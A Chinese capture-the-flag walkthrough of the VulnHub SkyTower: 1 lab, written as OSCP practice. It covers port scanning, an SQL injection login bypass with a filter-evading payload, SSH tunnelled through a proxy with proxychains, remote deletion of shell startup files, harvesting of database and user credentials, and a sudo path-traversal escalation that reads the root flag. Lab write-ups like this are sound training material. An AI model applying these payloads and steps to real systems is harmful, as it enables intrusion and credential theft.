一、前言
主要利用方式：1、登录模块SQL注入绕过方式进入后台，获取了一个账号密码；2、配置proxychains 代理，SSH登录；登录及退出，推断bashrc文件问题。3、登录及删除指令，删除bashrc文件后正常登录。4、查看web应用配置文件，获取数据库配置信息。5、登录获取其他用户信息后可以尝试切换用户，使用sudo -l查看用户权限。6、通过提权查看及列举，获取root目录下的flag.txt文件内容。
二、靶机信息
靶场: vulnhub.com靶机名称: SKYTOWER: 1难度: 中级发布时间: 2014 年 6月 26日下载地址：https://www.vulnhub.com/entry/skytower-1,96/备注：还是有点东西的，但东西不多！~
三、虚拟机配置
VirtualBox(Vmware)、网络连接模式：NAT模式、DHCP服务：启用、IP地址：自动分配攻击IP：10.0.2.7靶机IP：10.0.2.28
四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l
2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 10.0.2.28 
└─$ sudo nmap -p22,80,3128 -sV -A 10.0.2.28 
开启了22、80、3128，很明显，80是web服务，而3128是代理服务
五、漏洞利用（突破边界）
3、访问80端口web服务及路径扫描
http://10.0.2.28/
└─$ dirsearch -u http://10.0.2.28
4、尝试弱口令和万能密码（注入）
通过使用单引号，发现存在sql语句报错
尝试使用用户：admin'or 1=1 # 密码随机，依然报错，通过报错，发现过滤了or 以及 =
尝试通过双写，绕过黑名单过滤方法，成功进入
获取一个账号及密码：Username:john、Password: hereisjohn 并提示通过SSH登录
但通过前期扫描，发现22端口是关闭的，此时只剩下3128端口，这个是一个代理服务，那么很有可能，22端口，需要经3128服务代理之后才能访问
5、使用代理工具 proxychains进行配置代理
└─$ sudo vi /etc/proxychains4.conf
http 目标靶机ip 3128
将http流量代理到目标主机 3128端口
6、使用proxychains以及账号密码登录
└─$ proxychains ssh john@10.0.2.28
但发现登录后即被踢出登录态，
7、在登录后同时执行命令
可以在登录之后瞬间执行，尝试运行 一下 bash
└─$ proxychains ssh john@10.0.2.28 /bin/bash
查看.bashrc文件，可以看到有一个退出的动作
如果想要解决以上问题01、执行mv， 将.bashrc 改成.Bashrc.bak文件名称02、执行rm，直接删除bashrc的文件03、直接反弹shell来执行
六、提权
8、查看应用项目的配置文件
cd /var/wwwlscat login.php
$db = new mysqli('localhost', 'root', 'root', 'SkyTech');9、登录mysql获取账号密码
直接进入mysql还是无法进入，执行删除.bashrc文件
└─$ proxychains ssh john@10.0.2.28 rm .bashrc└─$ proxychains ssh john@10.0.2.28 ls -la
10、常规登录并进入mysql获取数据
获取三个邮箱账号及密码
| 1 | [email protected] | hereisjohn || 2 | [email protected] | ihatethisjob || 3 | [email protected] | senseable |
11、参考前面操作，删除login_out文件，再次登录
└─$ proxychains ssh sara@10.0.2.28 ls -la└─$ proxychains ssh sara@10.0.2.28 rm .bash_logout└─$ proxychains ssh sara@10.0.2.28
12、执行提权尝试，发现可以通过root权限读取和列举指定
sara@SkyTower:~$ sudo -l
13、列举root权限下的flag文件地址
sara@SkyTower:~$ sudo /bin/ls /accounts/../../../root/
14、读取root权限下的flag文件内容
sara@SkyTower:~$ sudo /bin/cat /accounts/../../../root/flag.txt
原文始发于微信公众号（从放弃到入门）：【OSCP模拟-No.36】 SkyTower: 1靶机渗透测试练习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论